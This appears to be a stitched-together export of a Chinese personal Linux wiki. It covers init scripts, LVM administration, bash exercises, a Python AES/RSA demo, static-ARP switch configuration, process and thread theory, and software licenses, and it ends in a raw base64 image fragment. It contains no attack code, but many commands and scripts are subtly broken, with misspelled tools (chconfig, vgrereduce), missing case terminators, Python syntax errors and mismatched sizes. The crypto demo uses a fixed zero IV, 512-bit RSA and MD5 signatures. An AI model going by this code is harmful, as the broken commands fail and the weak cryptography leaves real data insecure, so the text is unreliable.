如果CPU不能正常读取数据(总线/内存的瓶颈),其执行单元利用率会明显下降。

另外就是大多数执行线程缺乏ILP(Instruction-Level Parallelism,指令级别并行)支持。这些都造成了CPU的性能没有得到全部的发挥。

因此,Intel则采用另一个思路去提高CPU的性能,让CPU可以同时执行多重线程,就能够让CPU发挥更大效率,即所谓“超线程(Hyper-Threading,简称“HT”)”技术。

超线程技术就是利用特殊的硬件指令,把一个物理内核模拟成两个逻辑内核,让单个处理器都能使用线程级并行计算,进而兼容多线程操作系统和软件,减少了CPU的闲置时间,提高了CPU的运行速度。
```
</div>
<pre>

;01. 创建testsvc.sh

```bash
#!/bin/sh
#chkconfig: 35 95 3
#decripthion: test service
source /etc/init.d/function
case $1 in
  start)
    if [ -f /var/lock/subsys/test.svc ];then
      action "service is started"
    else
      action "service is starting"
      touch /var/lock/subsys/test.svc
    fi
    ;;
  stop)
    if [ -f /var/lock/subsys/test.svc ];then
      action "service stop"
      rm /var/lock/subsys/test.svc
    else
      action "service not running"
    fi
    ;;
  status)
    if [ -f /var/lock/subsys/test.svc ];then
      action "serice running"
    else
      action "service stopped"
    fi
  *)
    echo Arg $1 not support
    echo service testsvc (start | stop | status)
esac
```

;02. 添加服务

```bash
cp testsvc.sh /etc/init.d/testsvc.sh
chmod u+x /etc/init.d/testsvc.sh
chconfig --add testsvc
chconfig --del (svc)
```

</pre>
!实验环境:
:<div>

```bash
#首先从创建两个空的硬盘sdb 1G,sdc 2G. 为接下来做LVM做准备.
vboxmanage createmedium --filename ${disk01} --size 1024
vboxmanage createmedium --filename ${disk02} --size 2048
VBoxManage storageattach ${vm} --storagectl 'SATA' --medium ${disk01} 
VBoxManage storageattach ${vm} --storagectl 'SATA' --medium ${disk01}
```

;为了后期便于维护管理,加上LVM的标识8e
</div>


! 一、创建逻辑卷
:<div>

```bash
# set env
vg_name="vg01"
lv01_name="vg01-lv01"

# 创建物理卷,添加LVM属性信息并划分PE存储单元.
pvcreate /dev/sdb
pvcreate /dev/sdc
pvs
pvdisplay

# 创建卷组 vg01 ,并将刚才创建好的两个物理卷加入该卷组.可以看出默认PE大小为4MB,PE是卷组的最小存储单元.可以通过 –s参数修改大小。
vgcreate ${vg_name} /dev/sdb /dev/sdc

# 从物理卷vg01上面分割500M给新的逻辑卷lvm01.
lvcreate -L 500M -n ${lv01_name} ${vg_name}
lvs
lvdisplay

# 使用mkfs.ext4命令在逻辑卷lv01上创建ext4文件系统.
mkfs.ext4 /dev/vg01/vg01-lv01

# 将创建好的文件系统/dev/vg01/vg01-lv01挂载到/lv01上.(创建好之后,会在/dev/mapper/生成一个软连接名字为”卷组-逻辑卷”)
mount_point=/lv01
mkdir /lv01
mount /dev/vg01/vg01-lv01 /lv01
mount | grep lv01

# 自动挂载

uuid=`blkid | grep ${lv01_name} |sed -rn 's/.* (UUID="[^"]*").*/\1/p'`
echo "${uuid} ${mount_point} ext4 defaults 0 0" >> /etc/fstab
# 重新读取/etc/fstab
umount ${mount_point}
mount -a
mount | grep ${lv01_name}
```
</div>

!二、扩展逻辑卷
:<div>


;逻辑卷支持在线扩展,无需卸载文件系统

```bash
#指定增量
lvextend –L +500M /dev/vg01/vg01-lv01
#指定总大小
lvextend –l 1.5G /dev/vg01/vg01-lv01
#同步文件系统
resize2fs
```
</div>

!三、扩展卷组

:<div>

```bash
vboxmanage createmedium --filename ${disk03} --size 1024
VBoxManage storageattach ${vm} --storagectl 'SATA' --medium ${disk03}
pvcreate /dev/sdd
vgextend vg01 /dev/sdd
vgs
vgddisplay
```
</div>


!四、收缩逻辑卷
:<div>

```bash
# 卸载逻辑卷
sudo umount ${mount_point}

# 检测逻辑卷上空余的空间
e2fsck -f /dev/vg01/vg01-lv01

# resize2fs将文件系统减少到500M。
resize2fs /dev/vg01/vg01-lv01 500M

# lvreduce命令将逻辑卷减少到700M。
lvreduce -L 500M /dev/vg01/vg01-lv01
# 挂载
mount -a

# 尾端有数据的情况下收缩会报错
# 命令查看物理分段
pvdisplay -v -m

# 首先必须把所有的已用分段移到前部
# 同一分区
pvmove --alloc anywhere /dev/sdd1:307201-399668 /dev/sdd1:0-92466
# 不同分区
pvmove /dev/sdb1:1000-1999 /dev/sdc1:0-999

```
;当操作的数据较多时,移动操作将持续很久(一到两个小时)。
;最好在Tmux或GNU Screen会话中执行此过程。
;任何形式的意外中断都可能会导致致命错误。

</div>

!五、数据转移其他物理卷。
:<div>

```bash

#转移数据
pvmove /dev/sdb /dev/sdc
pvs

#从vg中删除pv
vgrereduce vg01 /dev/sdb

#删除物理卷
pvremove /dev/sdb

#确认文件系统完整性
fsck

```
</div>


!六、删除逻辑卷
:<div>

```bash
#卸载掉逻辑卷
umount ${mount_point}
#修改/etc/fstab里面逻辑卷的挂载信息,否则系统有可能启动不起来。

#删除逻辑卷
lvremove /dev/vg01/vg01-lv01
#删除卷组
vgremove vg01
#将物理卷转化成普通分区。
pvremove /dev/sdc
pvremove /dev/sdd
pvremove /dev/sde
```

修改分区的id标识成普通Linux分区。
</div>
```python
def mbr_max_size(block_size=512):
    max_block=2**32
    b=max_block*block_size
    k=b/1024
    m=k/1024
    g=m/1024
    t=g/1024
    print "Single Block_Size:%d bytes"%(block_size)
    print "DISK MAX_SIZE: %d T"%(t)
    return t
```
;单臂路由
:<pre>
    
单臂路由解决的是不同子网间的通信问题,它是用一个物理接口来划分出多个逻辑子接口来当做物理接口来用,这样可以节约真正的物理接口。
单臂路由比较适合大部分报文在子网内传输,少量的报文通过路由器进行传输的网络环境。
单臂路由主要体现在交换机和路由器之间的通信链路只有一条。
也就是使用路由器的一个接口,实现子网之间的通信。
    </pre>
<style type="text/css">
.d1 {border:1px solid #F00}
.d2 {border-style:solid;}
.d3 {border-style:dotted;}
.d4 {border-style:dashed;}
.d5 {border-style:double;}
.d6 {border-style:groove;}
.d7 {border-style:ridge;}
.d8 {border-style:inset;}
.d9 {border-style:outset;}
</style>

!!版权声明
:<div class='d7'>

本站作者是一位开源理念的坚定支持者,所以本站虽然不是软件,但是遵照开源的精神发布。

*无担保:不保证内容准确无误,亦不承担任何由于使用文档所导致的损失。
*自由使用:任何人都可以自由的阅读/链接/打印此文档,无需任何附加条件。
*名誉权:任何人都可以自由的转载/引用/再创作此文档,但必须注明出处。
</div>

---

!!目录

:<div class='d3' >

::[[ 命令集合|summary--cmd]]

::[[基础知识|desc]]
::[[网络相关|network]]
---
::[[资源相关|summary--resource]]
::[[未完条目|TODO]]
---
::[[脚本编程|summary--shell]]
::[[脚本练习]]
---
::[[每日技巧|每日小技巧]]
::[[学习笔记|mw-note]]
</div>

---

!!链接
:<div class='d3'>

# 本站镜像
#* [[zeronet|http://127.0.0.1:43110/1AZBUGaz1BSmuWLdaciypsVV5d8TL97AYp/]]
#*[[oh-mydoc|http://linu.oh-mydoc.cn]]
#友链
#*[[伍|http://www.ktwjj.top]]
#*[[孟|http://www.my-blog.top]]
#*[[善|http://52wiki.cn]]
# 技术博客
#* [[酷壳|https://coolshell.cn/]]
#* [[金步国作品集|http://www.jinbuguo.com/]]
#* [[Jerry|https://jerryding.site/]]
#* [[Silence|https://linuxgeeks.github.io/]]
*门户网站
::<div>

|[[运维派|http://www.yunweipai.com]]|[[Linux中国|http://www.my-blog.top]]|
|[[红联|http://www.linuxdiyf.com]]|[[开源中国|https://www.oschina.net]]|
|[[命令大全|http://man.linuxde.net/]]|[[鸟哥的私房菜|http://linux.vbird.org/]]|
|[[Linux公社|https://www.linuxidc.com/]]|[[LinuxToday|http://www.linuxde.net/]]|
</div>

* WIKI

** [[Arch wiki|https://wiki.archlinux.org]]

* 极客
::<div>

|[[极客工坊|https://www.geek-workshop.com]] | [[树莓派实验室|http://shumeipai.nxez.com/]]|
</div>
* 工具

** [[流程图|https://www.processon.com/]]

* 神器

::<div>

| [[Zeal|https://zealdocs.org/]] |  [[git|https://git-scm.com]] | [[brew|http://linuxbrew.sh/]] |
| [[notepad++|https://notepad-plus-plus.org/]] | [[vscode|https://code.visualstudio.com/]] | [[everything|http://www.voidtools.com/]]|
| [[Total Commander|https://www.ghisler.com/]]|[[irfanview|https://www.irfanview.com/]]| [[potplayer|http://potplayer.daum.net/?lang=zh_CN]] |
| [[cmder|http://cmder.net/]] |[[vim硬核网|https://vim.ink/]]|[[Tiddlywiki升级|https://tiddlywiki.com/upgrade.html]]|
| [[hyper|https://hyper.is/]] |[[progit|http://iissnan.com/progit/]]||

</div>

* docs
** [[progit|http://iissnan.com/progit/]]
** [[IBM Develops|https://www.ibm.com/developerworks/cn/topics/]]

* docker
[[docker hub|https://hub.docker.com]]
</div>


```bash
#结合rev + cut取不规则空格分隔的字符串的最后一列
echo "aa bb    cc   dd ee   ff" | rev | cut -d" " -f1 | rev
```

```bash
function jc()
{
    max=$1
    if ((1==max-1))
    else
        echo $[`jc $[$max-1]*$max`]
    fi
}

```
{{bash_head}}

```bash
function fb(){
        [ $1 -eq 0 ] && echo 0
        [ $1 -eq 1 ] && echo 1
        if (( $1 > 1 ));then
                echo $[`fb $[$1-1]` + `fb $[$1-2]`]
        fi
}

function fb2(){
        for ((i=0;i<$1;i++));do
          [ $i -eq 0 ] && echo -n "0 " && a=0
          [ $i -eq 1 ] && echo -n "1 " && b=1
          if ((i>1));then
            c=$[ a + b ]
            a=$b
            b=$c 
            echo -n "$c "
          fi
        done
        echo
        unset a 
        unset b
        unset c
}

read -p "num: " num
for i in `seq $num`;do
        echo -e "$[$i-1] -- \c"
        fb $[$i-1]
done


```
* 参数写成 “${var[*]}” 才可以作为数组传递。 

```bash
root_path="/mnt/sysroot"
array_cmd=(bash ls df lsblk mkdir mount umount \ 
          cat tail head cut tr vim watch less more sed sort touch uniq tac \
          ifconfig ping df lsblk mount \
          ps ss ip \
          insmod lsmod )

function qca()
{
    which $1 | xargs rpm -qf| xargs rpm -ql {}| grep bin
}
function cp_libs(){
    libs=$1
    for lib in ${libs[*]};do
        dir_path=`dirname ${lib}`
        #echo ${lib}
        [ -d ${root_path}${dir_path} ] || mkdir -p ${root_path}${dir_path}
        [ -f ${root_path}${lib} ] || cp -f ${lib} ${root_path}${lib}
    done
}

function cp_cmd(){
    cmd=$1
    bin_path=`qca ${cmd}| grep -w ${cmd}`
    echo $bin_path

    [ -d ${root_path}`dirname ${bin_path}` ] || mkdir -p ${root_path}`dirname ${bin_path}`
    [ -f ${root_path}${bin_path} ] || cp -f ${bin_path} ${root_path}${bin_path}
    echo ${bin_path} ${root_path}${bin_path} 
    libs=`ldd ${bin_path} | sed -n "s/.*=> \(.*\) (.*)/\1/p"`
    cp_libs "${libs}"

    libs=`ldd ${bin_path} |tr -d '\t'| grep ^/ |sed -n "s/\(.*\) (.*)/\1/p"`
    cp_libs "${libs}"

}
function chk_cmd(){
  while [ $# -ne 0 ];do
    cmd=$1
    type $cmd| grep -q builtin
    if  (($?==0 ));then
      echo $cmd ------
      cp_cmd bash
    else
      cp_cmd $cmd
      echo $cmd
    fi
    shift
  done
}

function mksysdir(){
  mkdir -p ${root_path}/{dev,etc,proc,sys,usr,var,lib,boot,mnt,home,root,tmp}
}

function main(){
  [ -d ${root_path} ] && rm -rf ${root_path}
  mksysdir
  chk_cmd ${array_cmd[*]}
}

main
```
{{profile.d--yum}}
! 定义 
:<div>

```bash
[ function ] funname ()
{
    action;
    [return int;]
}
#可以带function fun()定义,也可以直接fun() 定义,不带任何参数。
#参数返回,可以显示加:return 返回,
#如果不加,将以最后一条命令运行结果,作为返回值。 
#return后跟数值n(0-255)
```
</div>


!示例 
:<div>

```bash
#------------------------------------
# def return value
# ----------------
# 0 成功
# 1 失败
#------------------------------------

function test_function(){
  echo "hello function"
  return 0
}
test_function

test_function(){
  echo "hello function"
  return 0
}
test_function

test_function()
{
  echo "hello function"
  return 0
}
test_function

```
</div>
* export 声明环境变量

```bash

```
* export 声明环境函数

```bash
function func1()
{
echo ""
}
export func1
```
;CRLF, LF 是用来表示文本换行的方式。
<div>

* `CR`(Carriage Return) 代表''回车'',对应字符 `'\r'`;

*  `LF`(Line Feed) 代表''换行'',对应字符 `'\n'`。

*Windows 系统使用的是 CRLF,  

*Unix系统(包括Linux, MacOS近些年的版本) 使用的是LF。

</div>
```bash
#获取历史命令最常用的TOP10:

history | awk '{CMD[$2]++;count++;}END { for (a in CMD) print CMD[a] " " CMD[a]/count*100 "% " a;}' | grep -v "./" | column -c3 -s " " -t | sort -nr | nl | head -n10

     1	  288  30.1887%   docker
     2	  135  14.1509%   docker-enter
     3	  51   5.34591%   cat
     4	  45   4.71698%   exit
     5	  41   4.29769%   echo
     6    34   3.56394%   ifconfig
     7	  32   3.3543%    if
     8	  28   2.93501%   ls
     9	  27   2.83019%   fi
    10    25   2.62055%   else
```
<div class="计划任务">

    <<toc-selective-expandable '计划任务'>>

</div>
计算机五个组成部分:运算器、存储器、控制器、输入和输出设备。

运算器:对数据进行算术运算和逻辑运算。

存储器:存储程序、数据、信号等信息。

控制器:控制程序的运行以及数据的输入输出。

输入设备:将信息输入到存储器。

输出设备:将计算机处理结果输出。

* [[Data storage unit]]
```python
# -*- coding: UTF-8 -*-

import hashlib  # 指纹
import rsa as RSA     # 非对称加密
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex

class md5:
    def hash(message):
            return md5=hashlib.md5(message.encode('utf-8')).hexdigest()
        
    def chk(message,md5sum):
            if md5_create(message) == md5sum:
                return True
            else:
                return False

class aes():
    def __init__(self,key):
        self.key = key
        self.mode = AES.MODE_CBC
    #加密函数,如果text不足16位就用空格补足为16位,
    #如果大于16当时不是16的倍数,那就补足为16的倍数。
    def encrypt(self,message):
        cryptor = AES.new(self.key,self.mode,b'0000000000000000')
        #这里密钥key 长度必须为16(AES-128),
        #24(AES-192),或者32 (AES-256)Bytes 长度
        #目前AES-128 足够目前使用
        length = 16
        count = len(message)
        if count < length:
            add = (length-count)
            #\0 backspace
            message = message + ('\0' * add)
        elif count > length:
            add = (length-(count % length))
            message = message + ('\0' * add)
        self.crypto = cryptor.encrypt(message)
        #因为AES加密时候得到的字符串不一定是ascii字符集的,输出到终端或者保存时候可能存在问题
        #所以这里统一把加密后的字符串转化为16进制字符串
        return b2a_hex(self.crypto)
     
    #解密后,去掉补足的空格用strip() 去掉
    def decrypt(self,crypto):
        cryptor = AES.new(self.key,self.mode,b'0000000000000000')
        message  = cryptor.decrypt(a2b_hex(crypto))
        return message.rstrip('\0')

class persion:
    def __init__(self):
        (self.pub_key,self.priv_key)=RSA.newkeys(512)

class rsa:        
    def encrypt(message,key):
        crypto = RSA.encrypt(message.encode(), key)
        return crypto

    def decrypt(crypto,key):
        message=RSA.decrypt(crypto, key).decode()
    
    def check(crypto,key):
        try:
            message=rsa.decrypt(crypto,key)
            return True,message
        except DecryptionError:
            return False,""

    def sign(message,key):
        md5sum=f_md5.md5_get(message)
        return rsa.encrypt(md5sum,key)
    
    def verify(message, signature, pub_key):
        md5=f_md5.md5_get(message)
        res=rsa.check(signature,pub_key)
        if res[0] and res[1]==md5:
            return True
        else:
            return False


def en01():
    '''
    rsa加密实现信息的安全传输

    '''
    u01 = persion()
    
    m01 = 'aaa'
    mc01= rsa.encrypt(m01,u01.priv_key)
    md01= rsa.decrypt(mc01,u01.pub_key)

    print (m01)
    print (mc01)
    print (md01)

def en02():
    '''
    用签名实现信息来源的追踪
        # 加密过程
            01. a:取消息的hash值, 
            02. a:用A的私钥加密hash值,加密后的字符串追加在信息原文后, 
            03. a:对签名的信息用b的公钥加密 
        # 解密过程
            04. b:收到信息后,用b的私钥解密, 解密后得到原文和签名
            05. b:对原文做hash运算, 得到hash值
            06. b:用a的公钥解密数字签名,得到hash值
            07. b:比对hash值
    算法演示
        #加密过程
            md5=hash(msg)
            msg=msg+rsa.encrypt(md5,a.priv_key)
            msg=rsa.encrypt(msg,b.pub_key)
        #解密过程
            (msg,sig)=rsa.decrypt(msg,b.priv_key)
            md501=rsa.decrypt(sig, a.pub_key)
            md502=hash(msg)
            if md501==md502:
                print ("ok")
            else:
                print ("not ok")
    '''
    pass

def en03():
    '''
    用对称密钥加速解密过程
        #加密
            md5=hash(msg)
            msg=msg+rsa.encrypt(md5,a.priv_key)
            msg=des(msg,des_key)+rsa.encrypt(des_key,b.pub_key)
        #解密
            msg,des_sign=msg.split()
            desc_key=rsa.decrypt(des_sign,b.priv.key)
            msg=des.decrypt(msg,desc_key)
            msg,rsa_sign=msg.split()
            md5=rsa.decrypt(rsa_sign,a.pub_key)
            if hash(msg)==md5:
                print ("ok")
            else:
                print ("not ok")
    '''
    pass

```
!!ARP典型配置举例
;1. 组网需求
: Switch连接主机,通过接口Ethernet1/1连接Router。接口Ethernet1/1属于VLAN 10。

: Router的IP地址为192.168.1.1/24,MAC地址为00e0-fc01-0000。

:网络管理员希望通过某种方法来防止恶意用户对Switch进行ARP攻击,增加Switch和Router通信的安全性。如果Router的IP地址和MAC地址是固定的,则可以通过在Switch上配置静态ARP表项的方法,防止恶意用户进行ARP攻击。

;2. 组网图
图1-3 配置静态ARP表项组网图

[img[http://www.h3c.com/cn/res/201112/13/20111213_1299643_image005_734945_30005_0.png]]

;3. 配置步骤
:在Switch上进行下列配置。<pre>

```bash
# 创建VLAN 10。

<Switch> system-view

[Switch] vlan 10

[Switch-vlan10] quit

# 将接口Ethernet1/1加入到VLAN 10中。

[Switch] interface ethernet 1/1

[Switch-Ethernet1/1] port link-type trunk

[Switch-Ethernet1/1] port trunk permit vlan 10

[Switch-Ethernet1/1] quit

# 创建接口Vlan-interface10,并配置IP地址。

[Switch] interface vlan-interface 10

[Switch-vlan-interface10] ip address 192.168.1.2 8

[Switch-vlan-interface10] quit

# 配置一条静态ARP表项,IP地址为192.168.1.1,对应的MAC地址为00e0-fc01-0000,此条ARP表项对应的出接口为属于VLAN 10的接口Ethernet1/1。

[Switch] arp static 192.168.1.1 00e0-fc01-0000 10 ethernet 1/1

# 查看静态ARP表项信息。

[Switch] display arp static

                Type: S-Static    D-Dynamic    A-Authorized

IP Address       MAC Address     VLAN ID  Interface              Aging Type

192.168.1.1      00e0-fc01-0000  10       Eth1/1                 N/A   S 
```
</pre>
<div class="脚本练习">

    <<toc-selective-expandable '脚本练习'>>

</div>
!!进程概念

  :进程是表示资源分配的基本单位,又是调度运行的基本单位。例如,用户运行自己的程序,系统就创建一个进程,并为它分配资源,包括各种表格、内存空间、磁盘空间、I/O设备等。然后,把该进程放人进程的就绪队列。进程调度程序选中它,为它分配CPU以及其它有关资源,该进程才真正运行。所以,进程是系统中的并发执行的单位。

:在Mac、Windows NT等采用微内核结构的操作系统中,进程的功能发生了变化:它只是资源分配的单位,而不再是调度运行的单位。在微内核系统中,真正调度运行的基本单位是线程。因此,实现并发功能的单位是线程。

!!线程概念

  :线程是进程中执行运算的最小单位,亦即执行处理机调度的基本单位。如果把进程理解为在逻辑上操作系统所完成的任务,那么线程表示完成该任务的许多可能的子任务之一。例如,假设用户启动了一个窗口中的数据库应用程序,操作系统就将对数据库的调用表示为一个进程。假设用户要从数据库中产生一份工资单报表,并传到一个文件中,这是一个子任务;在产生工资单报表的过程中,用户又可以输人数据库查询请求,这又是一个子任务。这样,操作系统则把每一个请求――工资单报表和新输人的数据查询表示为数据库进程中的独立的线程。线程可以在处理器上独立调度执行,这样,在多处理器环境下就允许几个线程各自在单独处理器上进行。操作系统提供线程就是为了方便而有效地实现这种并发性

;引入线程的好处

:(1)易于调度。

:(2)提高并发性。通过线程可方便有效地实现并发性。进程可创建多个线程来执行同一程序的不同部分。

:(3)开销少。创建线程比创建进程要快,所需开销很少。。

:(4)利于充分发挥多处理器的功能。通过创建多线程进程(即一个进程可具有两个或更多个线程),每个线程在一个处理器上运行,从而实现应用程序的并发性,使每个处理器都得到充分运行。

;进程和线程的关系

:(1)一个线程只能属于一个进程,而一个进程可以有多个线程,但至少有一个线程。线程是操作系统可识别的最小执行和调度单位。

:(2)资源分配给进程,同一进程的所有线程共享该进程的所有资源。 同一进程中的多个线程共享代码段(代码和常量),数据段(全局变量和静态变量),扩展段(堆存储)。但是每个线程拥有自己的栈段,栈段又叫运行时段,用来存放所有局部变量和临时变量。

:(3)处理机分给线程,即真正在处理机上运行的是线程。

:(4)线程在执行过程中,需要协作同步。不同进程的线程间要利用消息通信的办法实现同步。

 

处理机管理是操作系统的基本管理功能之一,它所关心的是处理机的分配问题。也就是说把CPU(中央处理机)的使用权分给某个程序,通常把这个正准备进入内存的程序称为作业,当这个作业进入内存后我们把它称为进程。

自从60年代提出进程概念,在操作系统中一直都是以进程作为能独立运行的基本单位的。直到80年代中期,人们又提出了比进程更小的能独立运行的基本单位 ——线程;试图用它来提高系统内程序并发执行的速度,从而可进一步提高系统的吞吐量。近几年,线程概念已得到了广泛应用,不仅在新推出的操作系统中,大多 都已引入了线程概念,而且在新推出的数据库管理系统和其它应用软件中,也都纷纷引入了线程,来改善系统的性能。

如果说,在操作系统中引入进程的目的,是为了使多个程序并发执行,以改善资源利用率及提高系统的吞吐量;那么,在操作系统中再引入线程则是为了减少程序并 发执行时所付出的时空开销,使操作系统具有更好的并发性。为了说明这一点,我们首先回顾进程的两个基本属性:

:(1)进程是一个可拥有资源的独立单位;

:(2)进程同时又是——个可以独立调度和分派的基本单位。正是由于进程具有这两个基本属性,才使之成为一个能独立运行的基本单位,从而也就构成了进程并发执行的基础。

;然而为使程序能并发执行,系统还必须进行以下的一系列操作:

:(1)创建进程。系统在创建进程时,必须为之分配其所必需的、除处理机以外的所有资源。如内存空间、I/0设备以及建立相应的PCB。

:(2)撤消进程。系统在撤消进程时,又必须先对这些资源进行回收操作,然后再撤消PCB。

:(3)进程切换。在对进程进行切换时,由于要保留当前进程的CPU环境和设置新选中进程的CPU环境,为此需花费不少处理机时间。

简言之,由于进程是一个资源拥有者,因而在进程的创建、撤消和切换中,系统必须为之付出较大的时空开销。也正因为如此,在系统中所设置的进程数目不宜过多,进程切换的频率也不宜太高,但这也就限制了并发程度的进一步提高。

如何能使多个程序更好地并发执行,同时又尽量减少系统的开销,已成为近年来设计操作系统时所追求的重要目标。于是,有不少操作系统的学者们想到,可否将进 程的上述属性分开,由操作系统分开来进行处理。即对作为调度和分派的基本单位,不同时作为独立分配资源的单位,以使之轻装运行;而对拥有资源的基本单位, 又不频繁地对之进行切换。正是在这种思想的指导下,产生了线程概念。

在引入线程的操作系统中,线程是进程中的一个实体,是被系统独立调度和分派的基本单位。线程自己基本上不拥有系统资源,只拥有一点在运行中必不可少的资源 (如程序计数器、一组寄存器和栈),但它可与同属一个进程的其它线程共享进程所拥有的全部资源。一个线程可以创建和撤消另一个线程;同一进程中的多个线程 之间可以并发执行。由于线程之间的相互制约,致使线程在运行中也呈现出间断性。相应地,线程也同样有就绪、阻塞和执行三种基本状态,有的系统中线程还有终 止状态。

!!线程与进程的比较

线程具有许多传统进程所具有的特征,故又称为轻型进程(Light—Weight Process)或进程元;而把传统的进程称为重型进程(Heavy—Weight Process),它相当于只有一个线程的任务。在引入了线程的操作系统中,通常一个进程都有若干个线程,至少需要一个线程。下面,我们从调度、并发性、 系统开销、拥有资源等方面,来比较线程与进程。

;1.调度

:在传统的操作系统中,拥有资源的基本单位和独立调度、分派的基本单位都是进程。而在引入线程的操作系统中,则把线程作为调度和分派的基本单位。而把进程作 为资源拥有的基本单位,使传统进程的两个属性分开,线程便能轻装运行,从而可显著地提高系统的并发程度。在同一进程中,线程的切换不会引起进程的切换,在 由一个进程中的线程切换到另一个进程中的线程时,将会引起进程的切换。

;2.并发性

:在引入线程的操作系统中,不仅进程之间可以并发执行,而且在一个进程中的多个线程之间,亦可并发执行,因而使操作系统具有更好的并发性,从而能更有效地使 用系统资源和提高系统吞吐量。例如,在一个未引入线程的单CPU操作系统中,若仅设置一个文件服务进程,当它由于某种原因而被阻塞时,便没有其它的文件服 务进程来提供服务。在引入了线程的操作系统中,可以在一个文件服务进程中,设置多个服务线程,当第一个线程等待时,文件服务进程中的第二个线程可以继续运 行;当第二个线程阻塞时,第三个线程可以继续执行,从而显著地提高了文件服务的质量以及系统吞吐量。

;3.拥有资源

:不论是传统的操作系统,还是设有线程的操作系统,进程都是拥有资源的一个独立单位,它可以拥有自己的资源。一般地说,线程自己不拥有系统资源(也有一点必 不可少的资源),但它可以访问其隶属进程的资源。亦即,一个进程的代码段、数据段以及系统资源,如已打开的文件、I/O设备等,可供问一进程的其它所有线 程共享。

;4.系统开销

:由于在创建或撤消进程时,系统都要为之分配或回收资源,如内存空间、I/o设备等。因此,操作系统所付出的开销将显著地大于在创建或撤消线程时的开销。类 似地,在进行进程切换时,涉及到整个当前进程CPU环境的保存以及新被调度运行的进程的CPU环境的设置。而线程切换只须保存和设置少量寄存器的内容,并 不涉及存储器管理方面的操作。可见,进程切换的开销也远大于线程切换的开销。此外,由于同一进程中的多个线程具有相同的地址空间,致使它们之间的同步和通信的实现,也变得比较容易。在有的系统中,线程的切换、同步和通信都无须
[img[开源协议.jfif]]

---
*非版权:Apache License 2.0 是最宽松的许可证代表,是一种对商业应用非常友好的许可证,由 Apache 软件基金会提出。它允许使用者修改和重新发布代码,并且不要求对重新发布的代码也开源,也就是说,它允许闭源商业发布和销售,任何一家企业都可以把基于 Apache 许可证 2.0 的开源项目拿来作修改,发布自己的商业版软件来获利。这成就了 Hadoop 生态中的一批企业,包括已上市的 Cloudera 和 Hortonworks。

---

* 左版:GPL 是最流行的这类许可证之一,代表了左版的正宗思想,由自由软件基金会提出。它求使用者一旦修改了代码则必须也要开源所修改的那部分代码,也就是说,它不允许闭源商业发布和销售,GPL 规定了一种病毒式传染特性,只要你的软件引用了 GPL 协议下的软件,那么你的软件也必须要使用 GPL 协议进行开源。
---
* 最左版:AGPL 是对 GPL 许可证的一个补充,是一种更加严格的左版许可证,由自由软件基金会提出。上述 GPL 约束生效的前提是使用者对软件进行了『发布』,但是随着 SaaS 模式的兴起,开源软件的使用者不需要做『发布』这个动作,他们可以通过互联网向客户直接提供服务而不受 GPL 的约束,这其实是 GPL 的一个漏洞。AGPL 对这个漏洞打了个补丁,要求那些使用开源软件提供在线服务的使用者也必须要开源。

---

* GPL:(通用公共许可证):一种授权,任何人有权取得、修改、重新发布自由软件的权力。

---

* GNU:(革奴计划):目标是创建一套完全自由、开放的的操作系统。

---

* 自由软件:是一种可以不受限制地自由使用、复制、研究、修改和分发的软件。主要许可证有GPL和BSD许可证两种。

---
/9j/4AAQSkZJRgABAQIAJgAmAAD/2wBDAAUDBAQEAwUEBAQFBQUGBwwIBwcHBw8LCwkMEQ8SEhEPERETFhwXExQaFRERGCEYGh0dHx8fExciJCIeJBweHx7/2wBDAQUFBQcGBw4ICA4eFBEUHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh7/wAARCAGkArIDASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD7LooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACio7iaK3iaWeRY0XksxwKzJb97r/Vl7a3P8WP3jj2H8I9zz7VUYORE6ijp1NcEE4BGRRWJBZaYX3Qedbz9pBIdxPvk4P41aS9mtWCago2E4W4QfKf94fwn9P5U3DsRGr/ADGjRQpDAFSCD0IoqDYKKKKACiiigAooooAKKKKACiiigAooooAKKKKACkyMhcjJ7UtePfE+fWLH4+eCpvD9it9fXGl6ght5rxoIW2hCGc4bGNzchSeaAPYaK8Nv/ih4t1i58BXegeHnia/1K+s9T0572NQ8sCupjEhHQMpbOBnAFVLL4t+M9G8OeMvEOp+F01Kx0rxAbKLOopE6I80cKIqhCCQXU5JA5PPFAHvtBIAJJAA7mvOLTx94o/4SPUvC194JjXX4dNGp2FvBqitFdweaIyDIyqEdSRkEEHsT1qf4u3V1qFnovgu0ZoL7xFciOfY2TDaxgPcNke2Fz6uKAPQMjGc8UKQwBUgg9CK4f4v39zp/gtNB0Z2i1PW5E0qxKn5o94w0g/3EDN+AqjrPi+P4fa3oXha70+3h8P8A9mStHqT3TbkFtFloymz5mKjIO7nB70AejUV5d4W+KOpeK7TTG0Dw3Cby4t7qS/tby7aJ9PlgfYY5MRtks2APTk84qjofxvsr5vDUN7pK2M+tCdZv9ILx6fKgfy4pX2j53MUowB/D3oA9forytvinq1hdeGn8QeG7PTdO16K4mS6GoNJ5AhTftZfKGWdOVAPYj62vAvxPn8YnQxpehpG1690moRXFwUlsPIfa25dh3ZJTAyPvCgD0qivOPiJ4/wDEnh/xrYeFtB8HR67dahYT3dsRqIhOYiu5WDJgD5hggnJ7DrWbrPxcv9N8M+J9Zfwzbv8A8I7rEWm3EQ1E/OJHjRZFPlc8yrlSB0P